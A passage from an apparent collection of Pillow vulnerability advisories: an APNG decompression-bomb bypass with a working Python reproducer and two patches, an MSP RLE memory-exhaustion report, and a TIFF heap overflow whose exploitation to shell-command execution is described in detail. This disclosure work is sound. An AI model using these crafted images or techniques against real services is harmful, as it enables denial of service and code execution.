unconstrained 32-bit values at this point. Control then returns to `_open_core`, `_decompression_bomb_check((22000, 22000))` raises, and the 1.9 GB core image is released when the half-constructed `PngImageFile` is discarded. The eager full-size fill in `_seek()` was introduced in `5e4e0fa6ee67` (\"Use disposal settings from previous frame\", 2020-12-24) and first shipped in 8.1.0; before it, the `OP_BACKGROUND` fill lived in `load_end()` and could not be reached from `Image.open()`. ## Impact Any application that calls `Image.open()` on untrusted bytes with default settings \u2014 the configuration in which the decompression-bomb check is supposed to make that call cheap and safe \u2014 can be made to allocate and write an attacker-chosen amount of memory from a ~126-byte PNG upload, before any error is reported and without `load()`, frame iteration, or `LOAD_TRUNCATED_IMAGES`. The amount is set directly by the IHDR width/height (4 bytes per pixel for colour type 6): values below the host's free memory cause a transient multi-GB spike per request (\u224815,000,000\u00d7 amplification at 22000\u00d722000) that is freed when the exception propagates, so concurrent or repeated uploads are needed to sustain pressure; values above it get the worker process OOM-killed outright. PNG is accepted by essentially every upload pipeline, and the file passes `_accept` and chunk CRC checks as a well-formed APNG. This is the same class as the recent bomb-check additions for WMF (load at a different DPI), FITS, GIF and FontFile \u2014 an allocation sized from file-declared numbers on a path `_decompression_bomb_check` does not cover \u2014 but here the uncovered path is `Image.open()` itself rather than a later `load()`/`seek()`. ## Reproducing `repro` is a single Python script (no build step, no companion files). It builds two PNGs in memory, opens each one with plain `Image.open(io.BytesIO(data))` in a fresh child interpreter using default settings and no `load()`, and has each child report the exception it got and its own peak RSS (`ru_maxrss`). It needs about 2 GB of free RAM and finishes in about a second. The two files are 126 bytes each and differ in exactly one byte, the `dispose_op` of the first `fcTL` chunk: `0` (`OP_NONE`) for the control and `1` (`OP_BACKGROUND`) for the attack. Both declare IHDR 22000\u00d722000 RGBA. That is 484 Mpixel, above the 2\u00d7`MAX_IMAGE_PIXELS` error threshold, so `Image.open()` has to reject both with `DecompressionBombError`. Each chunk has a job: - The `acTL` chunk (2 frames) makes `_open()` call `_seek(0)`. - The 1\u00d71 `fcTL` rectangle passes `chunk_fcTL`'s bounds check and `_crop`'s bomb check. - The one-scanline `IDAT` ends header parsing. Expected output on this tree: ``` 126-byte APNG declaring 22000x22000 RGBA; Image.open(BytesIO(data)), defaults control dispose_op=0 OP_NONE -> DecompressionBombError peak RSS 17 MB attack dispose_op=1 OP_BACKGROUND -> DecompressionBombError peak RSS 1864 MB Image.open() touched a full 22000x22000 canvas before the bomb check ran BUG ``` Both files are rejected, but the control is rejected at interpreter size. The attack file only reaches the bomb check after `Image.core.fill(\"RGBA\", (22000, 22000))` has allocated and zero-filled about 1.9 GB. The script prints `BUG` if the attack child's peak RSS is at least 1000 MB and at least 20\u00d7 the control's, or if the attack child is killed by `SIGKILL` (for example by the OOM killer on a small host). Otherwise it prints `OK`; any other non-zero child exit is treated as a harness failure, printed with the child's output, and also ends in `OK`. With either attached patch applied, both children report about 17\u201322 MB and the script prints `OK`. The allocation grows with the header, so it can be scaled by changing `SIZE` in the script. The 45000\u00d745000 case (an 8.1 GB canvas) is covered in Details and is not part of the script. ## Suggested fix Do not build the `OP_BACKGROUND` disposal image from the declared size during `_open()`. Two alternative patches are attached; both change only `src/PIL/PngImagePlugin.py`, and both add the same regression test to `Tests/test_file_apng.py` (a 2\u00b3\u00b9\u22121 \u00d7 1 APNG built in memory with a 1\u00d71 `OP_BACKGROUND` first frame must make `Image.open()` raise `DecompressionBombError`; on the current tree the fill fails first with `MemoryError`). Attached patch 1 is the preferred fix. **Attached patch 1** moves the fill to its only point of use, the `frame > 0` branch of `_seek()` right after `self.load()` \u2014 which can only run once `Image.open()` has returned (bomb check passed) and the canvas itself has been allocated \u2014 and, as `GifImagePlugin` already does, fills only the previous frame's dispose extent instead of a full canvas that is then cropped: ```diff --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile): # ensure previous frame was loaded self.load() + if self.dispose_op == Disposal.OP_BACKGROUND: + # Created here rather than in the previous _seek(), so that + # nothing is allocated from the declared image size before + # the decompression bomb check in Image.open() has run. + # Only dispose the extent of the previous frame. + x0, y0, x1, y1 = self.dispose_extent + self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0)) if self.dispose: self.im.paste(self.dispose, self.dispose_extent) self._prev_im = self.im.copy() @@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile): if self._prev_im: self.dispose = self._prev_im.copy() self.dispose = self._crop(self.dispose, self.dispose_extent) - elif self.dispose_op == Disposal.OP_BACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self._crop(self.dispose, self.dispose_extent) ``` At that point `self.dispose_op` and `self.dispose_extent` still hold the previous frame's values (they are reassigned further down in `_seek`), so disposal semantics are unchanged; the `OP_PREVIOUS` copy stays eager because `load_end()` pastes into `_prev_im` in place (`src/PIL/PngImagePlugin.py:1110`). With this patch `Image.open()` allocates nothing from the declared size, including in the `DecompressionBombWarning` range. **Attached patch 2** is a smaller diff that keeps the eager disposal setup in `_seek()` and mirrors `GifImagePlugin._seek()`'s `OP_BACKGROUND` handling exactly: it computes the size of the `fcTL` rectangle (already validated by `chunk_fcTL` to lie within the image), runs `Image._decompression_bomb_check()` on it, and fills an image of only that size instead of filling `self.size` and cropping. It also narrows the `dispose_extent` annotation to `tuple[int, int, int, int]` so the bomb-check call type-checks. The trade-off is that a full-canvas first frame still allocates a bomb-checked image inside `Image.open()` \u2014 up to about 2\u00d7`MAX_IMAGE_PIXELS`\u00d74 bytes (660 MB for a 13000\u00d713000 full-frame `fcTL`, with `DecompressionBombWarning`) \u2014 and a first `fcTL` covering a canvas above the error threshold now raises `DecompressionBombError` from `_seek(0)` rather than from `Image.open()`'s own check. With either patch applied to a clean checkout, the reproducer prints `OK` and all 54 files in `Tests/images/apng/` decode byte-identically frame by frame, including after a rewind. ## The patch (1 of 2) Create the APNG OP_BACKGROUND disposal image when the next frame is sought, sized to the frame extent, not in _open() from the IHDR size Applies to `src/PIL/PngImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py index 15689476c..6e61c8b4b 100644 --- a/Tests/test_file_apng.py +++ b/Tests/test_file_apng.py @@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None: assert im.size == (128, 64) +def test_apng_dispose_op_background_decompression_bomb() -> None: + # The disposal image must not be created from the declared image size + # before the decompression bomb check in Image.open() has run. + # A canvas this wide cannot be allocated, so if it is attempted, + # a MemoryError is raised instead of a DecompressionBombError. + o16 = PngImagePlugin.o16 + o32 = PngImagePlugin.o32 + + b = BytesIO() + b.write(PngImagePlugin._MAGIC) + PngImagePlugin.putchunk(b, b\"IHDR\", o32(2**31 - 1), o32(1), b\"\\x08\\x06\\x00\\x00\\x00\") + PngImagePlugin.putchunk(b, b\"acTL\", o32(2), o32(0)) + PngImagePlugin.putchunk( + b, + b\"fcTL\", + o32(0), # sequence number + o32(1), # width + o32(1), # height + o32(0), # x offset + o32(0), # y offset + o16(1), # delay numerator + o16(10), # delay denominator + bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]), + ) + PngImagePlugin.putchunk(b, b\"IDAT\") + PngImagePlugin.putchunk(b, b\"IEND\") + + with pytest.raises(Image.DecompressionBombError): + Image.open(b) + + def test_apng_blend() -> None: with Image.open(\"Tests/images/apng/blend_op_source_solid.png\") as im: assert isinstance(im, PngImagePlugin.PngImageFile) diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py index 0eb2fd5e4..24fa587c1 100644 --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile): # ensure previous frame was loaded self.load() + if self.dispose_op == Disposal.OP_BACKGROUND: + # Created here rather than in the previous _seek(), so that + # nothing is allocated from the declared image size before + # the decompression bomb check in Image.open() has run. + # Only dispose the extent of the previous frame. + x0, y0, x1, y1 = self.dispose_extent + self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0)) if self.dispose: self.im.paste(self.dispose, self.dispose_extent) self._prev_im = self.im.copy() @@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile): if self._prev_im: self.dispose = self._prev_im.copy() self.dispose = self._crop(self.dispose, self.dispose_extent) - elif self.dispose_op == Disposal.OP_BACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self._crop(self.dispose, self.dispose_extent) def tell(self) -> int: return self.__frame ``` ## The patch (2 of 2) Bomb-check and fill only the fcTL extent for APNG OP_BACKGROUND disposal instead of a full IHDR-sized canvas in PngImageFile._seek() Applies to `src/PIL/PngImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py index 15689476c..6e61c8b4b 100644 --- a/Tests/test_file_apng.py +++ b/Tests/test_file_apng.py @@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None: assert im.size == (128, 64) +def test_apng_dispose_op_background_decompression_bomb() -> None: + # The disposal image must not be created from the declared image size + # before the decompression bomb check in Image.open() has run. + # A canvas this wide cannot be allocated, so if it is attempted, + # a MemoryError is raised instead of a DecompressionBombError. + o16 = PngImagePlugin.o16 + o32 = PngImagePlugin.o32 + + b = BytesIO() + b.write(PngImagePlugin._MAGIC) + PngImagePlugin.putchunk(b, b\"IHDR\", o32(2**31 - 1), o32(1), b\"\\x08\\x06\\x00\\x00\\x00\") + PngImagePlugin.putchunk(b, b\"acTL\", o32(2), o32(0)) + PngImagePlugin.putchunk( + b, + b\"fcTL\", + o32(0), # sequence number + o32(1), # width + o32(1), # height + o32(0), # x offset + o32(0), # y offset + o16(1), # delay numerator + o16(10), # delay denominator + bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]), + ) + PngImagePlugin.putchunk(b, b\"IDAT\") + PngImagePlugin.putchunk(b, b\"IEND\") + + with pytest.raises(Image.DecompressionBombError): + Image.open(b) + + def test_apng_blend() -> None: with Image.open(\"Tests/images/apng/blend_op_source_solid.png\") as im: assert isinstance(im, PngImagePlugin.PngImageFile) diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py index 0eb2fd5e4..0111a17d7 100644 --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -985,7 +985,7 @@ class PngImageFile(ImageFile.ImageFile): msg = \"image not found in APNG frame\" raise EOFError(msg) if dispose_extent: - self.dispose_extent: tuple[float, float, float, float] = dispose_extent + self.dispose_extent: tuple[int, int, int, int] = dispose_extent # setup frame disposal (actual disposal done when needed in the next _seek()) if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS: @@ -997,8 +997,14 @@ class PngImageFile(ImageFile.ImageFile): self.dispose = self._prev_im.copy() self.dispose = self._crop(self.dispose, self.dispose_extent) elif self.dispose_op == Disposal.OP_BACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self._crop(self.dispose, self.dispose_extent) + # only dispose the extent in this frame, rather than filling an + # image of the declared size before Image.open() has been able to + # run the decompression bomb check + x0, y0, x1, y1 = self.dispose_extent + dispose_size = (x1 - x0, y1 - y0) + + Image._decompression_bomb_check(dispose_size) + self.dispose = Image.core.fill(self.mode, dispose_size) def tell(self) -> int: return self.__frame ``` ## The reproducer
Reproducer \u2014 repro, 3,564 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 \"\"\" Image.open() on a 126-byte APNG allocates and zero-fills a full canvas of the header-declared size *before* Pillow's decompression-bomb check rejects it. We build two PNGs that are identical except for one byte, the first fcTL chunk's dispose_op: control: dispose_op = 0 (OP_NONE) attack: dispose_op = 1 (OP_BACKGROUND) Both declare 22000x22000 RGBA (484 Mpixel, above the 2 * MAX_IMAGE_PIXELS error threshold), so Image.open() must reject both with DecompressionBombError -- and that check exists precisely so the rejection is cheap. For the attack file, PngImageFile._open() -> _seek(0) first runs Image.core.fill(mode, (22000, 22000)), touching ~1.9 GB, and only then is the bomb check reached. Each file is opened in a fresh interpreter that reports its own peak RSS. \"\"\" import struct import subprocess import sys import zlib SIZE = 22000 # 22000 * 22000 * 4 bytes = 1.94 GB canvas def chunk(cid, data): crc = zlib.crc32(cid + data) return struct.pack(\">I\", len(data)) + cid + data + struct.pack(\">I\", crc) def build_apng(dispose_op): ihdr = struct.pack(\">IIBBBBB\", SIZE, SIZE, 8, 6, 0, 0, 0) # 8-bit RGBA actl = struct.pack(\">II\", 2, 0) # animated: 2 frames -> _open() calls _seek(0) # frame 0: seq 0, a 1x1 rectangle at (0,0) (passes fcTL's bounds check), # delay 1/10 s, the dispose_op under test, blend_op 0 fctl = struct.pack(\">IIIIIHHBB\", 0, 1, 1, 0, 0, 1, 10, dispose_op, 0) idat = zlib.compress(b\"\\x00\" + b\"\\x00\\x00\\x00\\x00\") # one 1x1 RGBA scanline return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", ihdr) + chunk(b\"acTL\", actl) + chunk(b\"fcTL\", fctl) + chunk(b\"IDAT\", idat) + chunk(b\"IEND\", b\"\")) # What an application does with an untrusted upload: Image.open() with default # settings, no load(). Prints the outcome and this process's peak RSS in MB. OPEN_UNTRUSTED = \"\"\" import io, resource, sys from PIL import Image try: Image.open(io.BytesIO(sys.stdin.buffer.read())) outcome = \"opened\" except Exception as e: outcome = type(e).__name__ print(outcome, resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024) \"\"\" def open_in_child(data): p = subprocess.run([sys.executable, \"-c\", OPEN_UNTRUSTED], input=data, capture_output=True, timeout=60) if p.returncode == -9: # SIGKILL: OOM-killed on a small host -- also the bug return \"oom-killed(rc=-9)\", None if p.returncode != 0: # anything else is a harness failure, not evidence print(p.stdout.decode(), p.stderr.decode(), sep=\"\\n\") print(\"child failed unexpectedly (rc=%d)\" % p.returncode) print(\"OK\") sys.exit(1) outcome, peak_mb = p.stdout.split() return outcome.decode(), int(peak_mb) control = build_apng(dispose_op=0) attack = build_apng(dispose_op=1) c_outcome, c_mb = open_in_child(control) a_outcome, a_mb = open_in_child(attack) print(\"%d-byte APNG declaring %dx%d RGBA; Image.open(BytesIO(data)), defaults\" % (len(attack), SIZE, SIZE)) print(\" control dispose_op=0 OP_NONE -> %-22s peak RSS %5s MB\" % (c_outcome, c_mb)) print(\" attack dispose_op=1 OP_BACKGROUND -> %-22s peak RSS %5s MB\" % (a_outcome, a_mb)) # Expected: both rejected at roughly interpreter size. Bug: the attack file # made the \"cheap\" rejection cost a full-size canvas (or killed the process). if a_mb is None or (a_mb >= 1000 and a_mb >= 20 * c_mb): print(\"Image.open() touched a full %dx%d canvas before the bomb check ran\" % (SIZE, SIZE)) print(\"BUG\") else: print(\"OK\") ```
---"}, {"id": "CVE-2026-112892", "fix_versions": ["13.0.0"], "aliases": ["GHSA-gg2r-wvfm-q9rx"], "description": "### Summary The MSP RLE decoder expands run-length data into an in-memory buffer with no cap tied to the declared image size. A small file that passes the pixel-count check can force hundreds of megabytes or more of allocation when the application loads pixels. ### Details The MSP decoder writes each run into an unbounded `io.BytesIO` and can expand roughly 85x per run: - `src/PIL/MspImagePlugin.py:144-146` ### Impact Memory-exhaustion denial of service from a tiny crafted image in any application that loads pixels. The expansion is decoupled from the declared pixel count, so `MAX_IMAGE_PIXELS` does not bound it."}, {"id": "CVE-2026-112393", "fix_versions": ["13.0.0"], "aliases": ["GHSA-332p-7hrc-92wf"], "description": "``` ============================================================================ Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO Location: src/libImaging/TiffDecode.c:94 in _tiffWriteProc() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow can write attacker-chosen data past the end of a heap buffer when it saves a TIFF image to an in-memory destination such as `io.BytesIO` rather than to a file. The same code also copies leftover heap memory from the process into the saved file. Anyone who can supply an image to a service that opens it and re-saves it as TIFF this way can trigger this with default settings. The attached reproducer crashes the process, and the overflow could potentially be developed further, but code execution is not demonstrated here. The bug is in `_tiffWriteProc` in `src/libImaging/TiffDecode.c`. This is the write callback for the in-memory sink that Pillow gives libtiff whenever the save target has no `fileno()`. While writing the directory, libtiff seeks past the current end of data and writes tag values there. `_tiffWriteProc` sizes its `realloc()` from `state->size + size` instead of from the write position `state->loc`. As a result, the first out-of-line tag value written after that seek can run past the allocation by up to the size of the directory: 12 bytes per entry, 126 bytes in the minimal case, and 2384 bytes observed with a 331-entry directory. The overflowing bytes are the tail of a tag value taken from the uploaded file. No save options are needed, because compression and tags are inherited from the source image. The overflow does require an attacker-sized out-of-line tag to reach libtiff. That happens when the opened TIFF is saved directly (ImageDescription, DocumentName or XMP), or through an embedded ICC profile, which survives `copy()` in `im.info`. The bytes libtiff skips for alignment are never initialised, so any compressed TIFF over 64 KiB written this way also leaks one stale heap byte per padding hole. That leak needs no crafted tag. The attached reproducer builds a 131 KB PackBits TIFF and runs `Image.open(...).save(io.BytesIO(), \"TIFF\")`. Saving the same image to a file path succeeds, but the `BytesIO` save aborts with glibc's `malloc(): corrupted top size`. A second part of the script shows uninitialised heap bytes at the padding offsets of a `BytesIO` save that are zero in the file save. Saves to real files are unaffected. The defect dates to e782fe721e01 (2013) and has been present since Pillow 2.0.0. ## Details When `im.save()` writes a TIFF through libtiff to a target that has no usable `fileno()` (`io.BytesIO`, an HTTP response object, a storage backend stream), libtiff is opened with `TIFFClientOpen()` on Pillow's own in-memory sink, `_tiffWriteProc` / `_tiffSeekProc` in `src/libImaging/TiffDecode.c`. libtiff treats that sink like a file: when it writes the directory it seeks *beyond* the current end of data (to `eof + IFD size`, where the out-of-line tag values go, and one byte further after every odd-length tag value to keep offsets even) and writes there. On a real file the kernel grows the file and zero-fills the gap. The memory sink does neither correctly: 1. `_tiffWriteProc` sizes its `realloc()` from `state->size + size` instead of `state->loc + size`, so the first write after such a seek can land past the end of the new allocation \u2014 a heap buffer overflow whose content is tag data taken from the image being saved. 2. The bytes that libtiff skips are never written, and the grown region is a bare `realloc()`, so they reach the output TIFF with whatever the heap held before. Both are reachable with default settings by the ordinary \"re-encode the upload\" sequence `Image.open(upload); im.save(io.BytesIO(), \"TIFF\")` with no save options: `compression` defaults to the source file's (`src/PIL/TiffImagePlugin.py:1734`), any compression other than raw selects the libtiff writer (`:1746`), the source's `tag_v2` entries are passed through to libtiff (`:1959`), and a target without `fileno()` leaves `_fp = 0` (`:1928-1935`), i.e. the memory sink. The overflow half additionally needs an attacker-controlled out-of-line tag value of the right length to reach libtiff. With the opened `TiffImageFile` saved directly (`tag_v2` passthrough) that can be a ~64 KiB ASCII tag (269/270/271/272) or the XMP packet (tag 700, type BYTE \u2014 arbitrary bytes), and the number of tags the upload carries sets the IFD size, i.e. the overrun length (12 bytes per entry; 2384 bytes with a 331-entry IFD observed). After `convert()`/`resize()`/`thumbnail()`/`copy()` the `tag_v2` entries are gone, but `im.info[\"compression\"]` (still selecting libtiff) and `im.info[\"icc_profile\"]` survive and the ICC profile is written as tag 34675 (`:1822-1824`), an equally attacker-controlled out-of-line value: `Image.open(x).copy().save(BytesIO(), \"TIFF\")` with the payload in the ICC profile produces the identical ASan report. The stale-byte half needs no attacker tag at all. **Proof (overflow).** A 131 198-byte hand-built TIFF \u2014 mode L, 7\u00d78191, `Compression=32773` (PackBits), an `ImageDescription` of 65 535 characters \u2014 opened with `Image.open()` and saved with `im.save(io.BytesIO(), \"TIFF\")` aborts a stock build with glibc's `malloc(): corrupted top size`. The same call against an AddressSanitizer build of the C extensions reports ``` AddressSanitizer: heap-buffer-overflow ... WRITE of size 65536 #1 _tiffWriteProc src/libImaging/TiffDecode.c:115 #4 TIFFFlush #5 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1056 0 bytes to the right of 131072-byte region, allocated by realloc in _tiffWriteProc src/libImaging/TiffDecode.c:103 ``` **Proof (uninitialised bytes).** Saving one 300\u00d7300 RGB image as `compression=\"tiff_lzw\"` with four odd-length ASCII tags to a `BytesIO`, once with `MALLOC_PERTURB_=1` (glibc fills fresh allocations with 0xfe) and once with `MALLOC_PERTURB_=170` (0x55), gives two 369 463-byte TIFFs that differ in exactly 4 bytes, 0xfe vs 0x55, at offsets 369177, 369417, 369423, 369451 \u2014 the pad byte between the odd-length last strip and the IFD, and the pad byte after each odd-length tag value except the last. The same save to a filename gives byte-identical files with 0x00 there. Without any allocator tweaks, after a few 64 KB\u2013400 KB Python `bytes` objects filled with 0xa7 are created and freed, re-saving an uploaded LZW TIFF carrying ten odd-length ASCII tags yields 0xa7 at all nine pad offsets. ### Code walk-through The sink's state is `{data, size (allocated), loc (position), eof (high-water mark)}`; the encoder path starts it as a zeroed 64 KiB block (`TiffDecode.c:863`, `calloc(bufsize, 1)` with `bufsize = 64*1024`, `flrealloc = 1`). Seeking is unconstrained: ```c /* src/libImaging/TiffDecode.c:124-141 _tiffSeekProc */ case 0: state->loc = off; break; /* may exceed eof and size */ case 1: state->loc += off; break; case 2: state->loc = state->eof + off; break; ``` and writing assumes `loc <= size`: ```c /* src/libImaging/TiffDecode.c:90-117 _tiffWriteProc */ to_write = MIN(size, state->size - (tsize_t)state->loc); /* negative if loc > size */ if (state->flrealloc && size > to_write) { tsize_t newsize = state->size; while (newsize < (size + state->size)) { /* capacity target ignores loc */ \u2026 newsize += 64 * 1024; } new_data = realloc(state->data, newsize); /* tail left uninitialised */ \u2026 state->size = newsize; to_write = size; } _TIFFmemcpy((UINT8 *)state->data + state->loc, buf, to_write); /* :115 */ state->loc += (toff_t)to_write; state->eof = MAX(state->loc, state->eof); ``` A gdb trace of the sink calls during the overflowing save (stock build, breakpoints on the two procs) shows how libtiff drives it: ``` write size=63064 at loc=8 (eof=8 size=65536) strip data (PackBits re-encode: write size=2464 at loc=63072 (eof=63072 size=65536) 8 bytes/row \u00d7 8191 rows) seek off=0 whence=2 -> loc=65536 = eof = size TIFFWriteDirectory: end of data, already even seek off=4; write size=4 at loc=4 link IFD offset into header seek off=65662 whence=0 (eof=65536 size=65536) 65536 + 126-byte IFD (10 entries) = tag data area write size=65536 at loc=65662 (eof=65536 size=65536) ImageDescription, first out-of-line value ``` For that last call `to_write = 65536 \u2212 65662 = \u2212126`, the loop grows `newsize` until it is \u2265 `65536 + 65536`, i.e. to 131072, and the `memcpy` writes `[65662, 131198)` into a 131072-byte block: 126 bytes past the end, containing the last 126 bytes of the description string. `loc`/`eof` become 131198 > `size`; `ImagingLibTiffEncode` later sets `size = eof` (`:1067`) and copies `[0, eof)` out of the same block (`:1073`), reading past it as well. The general condition is: at directory-write time the strip data ends within *IFD-size* bytes of the current allocation boundary, and the first out-of-line tag value has a length just below a multiple of 64 KiB. The overrun length is `IFD size + pad \u2212 slack`, so it grows by 12 bytes per additional tag. For single-band images (L, P, 1, I;16, F\u2026) `BitsPerSample` is stored inline and the first out-of-line value in tag order is `DocumentName` (269) or `ImageDescription` (270) \u2014 both free-length ASCII strings taken from the source file. Pillow re-encodes the pixels itself, but with PackBits the compressed size is a deterministic function of attacker-chosen pixel rows (the reproducer uses rows of 7 distinct bytes \u2192 8 bytes per row \u2192 exactly 65536 bytes including the 8-byte header), so the attacker controls both quantities. For multi-band images the 6-byte `BitsPerSample` array is written first and absorbs the growth, which is why RGB sources do not hit the overflow. The disclosure half is the benign version of the same sequence. In the LZW/RGB trace the strip data ends at the odd offset 369177; libtiff places the IFD at 369178 and the tag values from 369364 on, and after each odd-length value seeks one byte forward before the next write (`seek off=369418 (loc=369417)`, `write size=5 at loc=369418`, \u2026). Offsets 369177, 369417, 369423 and 369451 are therefore never written. They lie in the part of the buffer obtained by the `realloc()` calls at `:103` (the block grew 65536 \u2192 196608 \u2192 327680 \u2192 458752 during the strip writes), which is not cleared, so the emitted file carries the previous heap contents at those positions. Holes that fall inside the initial 64 KiB are zero only because that block is `calloc`'d. The defect was introduced in e782fe721e01 (\"initial merge of wiredfool/Python-Imaging-Library-G4-Tiff-Support\", 2013-03-08), first released in Pillow 2.0.0. ## Impact Any service that accepts an image and produces a TIFF rendition into a non-file object \u2014 the usual pattern for returning or uploading the result without touching disk \u2014 is exposed to whoever supplies the image, with no non-default Pillow setting involved. The overflow additionally requires that an attacker-controlled out-of-line tag value reaches libtiff: the uploaded ImageDescription/DocumentName/XMP when the application saves the opened TIFF itself (or copies its tags into the save), or the embedded ICC profile, which survives `convert()`/`resize()`/`thumbnail()`/`copy()` in `im.info` together with the compression. Under those conditions, with a crafted single-band TIFF the uploader gets a heap out-of-bounds write in the worker process of IFD-size bytes (12 bytes per directory entry the upload carries \u2014 126 bytes with the minimal reproducer, 2384 bytes with a 331-entry IFD) immediately past a 128 KiB-class `realloc` block, with the overwritten bytes being the tail of a tag value they chose; on the stock build the minimal reproducer is detected by glibc and kills the process (`SIGABRT`). Given two addresses leaked by a separate bug, this write has been turned into code execution against a stock build of this commit with ASLR/PIE/NX enabled and default settings (that proof-of-concept is not included with this report): a single-process stdlib `http.server` worker doing nothing but `Image.open(BytesIO(body)).save(BytesIO(), \"TIFF\")` per upload executed an attacker-chosen shell command (`id>/tmp/r.XXXXXX`), answered `200` and kept serving (12/12 against a freshly started worker, 2/6 after twenty unrelated uploads; a miss normally leaves the worker running and is retryable). The two addresses (`&system`, `&PyBytes_Type`) were taken from an unrelated information disclosure in the same process; everything else is this bug plus properties of Pillow's TIFF reader used as a heap-shaping script. The 4.7 MB attack TIFF is a 397\u00d7165 8-bit PackBits image whose rows re-encode to exactly 65 528 bytes (strip ends at sink offset 65 536), a 63 942-byte XMP packet (tag 700) as the first out-of-line value, and ~500 private IFD entries. Because `TiffImagePlugin` turns every IFD entry into one `bytes` object in IFD order, frees an earlier entry when a later one repeats its tag number, and parses the IFD three times per request (`TiffImagePlugin.py:1258`, `:1271`, and `getexif()` from `load_end()` at `:1331`), those entries drain glibc's free lists, punch exact-size holes for every large allocation the save makes, and arrange that the 128 KiB `realloc` of the sink lands directly below a live 0x540 chunk followed by libtiff's own `TIFF` handle (`malloc(1313)` from `TIFFClientOpen`). The 2384 overflowing bytes rewrite the start of the `TIFF` struct with the command string, a zeroed `tif_dir`, `tif_diroff = 65536`, and `tif_cleanup = system` at +0x3f8; libtiff resumes `TIFFWriteDirectorySec` on the modified handle and calls `(*tif->tif_cleanup)(tif)`. With gdb on `__libc_system` the call arrives as `__libc_system(\"id>/tmp/r.\u2026\") \u2190 libtiff.so.6 \u2190 TIFFFlush \u2190 ImagingLibTiffEncode (src/libImaging/TiffDecode.c:1056) \u2190 _encode (src/encode.c:139)`. Offsets are per-binary constants (glibc 2.36, CPython 3.12.14, libtiff 4.5.0, this `_imaging.so`), all obtainable from public distribution files. Independently, every compressed TIFF written to such a target that exceeds 64 KiB discloses one byte of stale heap per alignment hole (one per odd-length tag value plus possibly one before the IFD; the count is set by the tags in the uploaded file) at predictable offsets in the returned file \u2014 low bandwidth, but it is other requests' freed data. File-path and real-fd targets (`TIFFFdOpen`) are unaffected by either issue. The primitive is the same class and attacker position as the `TiffDecode.c` decode-side heap overflows CVE-2020-35654, CVE-2021-25289 and CVE-2020-10379, but on the encode path and behind the output-to-a-non-file and tag-passthrough preconditions above, with code execution additionally depending on an address leak from another bug. ## Reproducing `repro` is a single Python script that uses the installed Pillow, writes its inputs into a temporary directory. It has two parts. Each part compares saving to a file path, which goes through `TIFFFdOpen` and is correct, with the same save into an `io.BytesIO`, which goes through the `_tiffWriteProc` memory sink. **Part 1: heap overflow.** `setup_env()` builds `upload.tif` (131 198 bytes) byte by byte: a mode L, 7\u00d78191 image with `Compression=32773` (PackBits) and a 65 535-character `ImageDescription`. The sizes are picked so that when Pillow re-encodes the pixels, the strip comes to 8 + 8191 \u00d7 8 = 65 536 bytes and ends exactly at the sink's initial 64 KiB buffer. libtiff then seeks past the 126-byte IFD and writes the 65 536-byte description at offset 65 662. The sink grows only to 131 072 bytes, so the last 126 bytes of the description are written past the end of the heap block. In a fresh child process, the script runs `Image.open(\"upload.tif\").save(, \"TIFF\")` with no options, once with `\"out.tif\"` as the target and once with `io.BytesIO()`. The file save exits with 0. The BytesIO save is killed by SIGABRT, with glibc reporting `malloc(): corrupted top size`. **Part 2: stale heap bytes in the output.** A child started with `MALLOC_PERTURB_=170` (glibc fills fresh allocations with 0x55) saves a seeded-noise 300\u00d7300 RGB image with `compression=\"tiff_lzw\"` and four odd-length ASCII tags. It saves once to a file and once to a BytesIO, then prints every offset where the two outputs differ. libtiff skips one pad byte before the IFD and one after each odd-length tag value. The file has 0x00 at those offsets, but the BytesIO output still holds the 0x55 that was in uninitialised `realloc()` memory. Expected output on this tree: ``` upload.tif: 131198 bytes save to file path : exit code 0, out.tif = 131210 bytes save to BytesIO : exit code -6, stderr: 'malloc(): corrupted top size' -> heap overflow crashed the process: True same image, same options, saved to a file path vs. to a BytesIO: offset 369177: file 0x00 BytesIO 0x55 offset 369417: file 0x00 BytesIO 0x55 offset 369423: file 0x00 BytesIO 0x55 offset 369451: file 0x00 BytesIO 0x55 -> BytesIO output contains never-written heap bytes: True BUG ``` The last line is `BUG` if either part shows its defect, and `OK` otherwise. With the attached patch applied and rebuilt, the BytesIO save exits with 0, the two outputs are identical, and the script prints `OK`. ## Suggested fix The attached patch makes `_tiffWriteProc` in `src/libImaging/TiffDecode.c` honour sparse-file semantics: it sizes the buffer from the write position, and zeroes what `realloc()` adds (the initial block is already `calloc`'d, so every byte libtiff skips then reads as 0, exactly as through `TIFFFdOpen`). For the non-reallocating case (`flrealloc == 0`), where `loc > size` would also make `to_write` negative, it rejects the write with a `TIFFError`, the same idiom `_tiffReadProc` uses: ```diff - 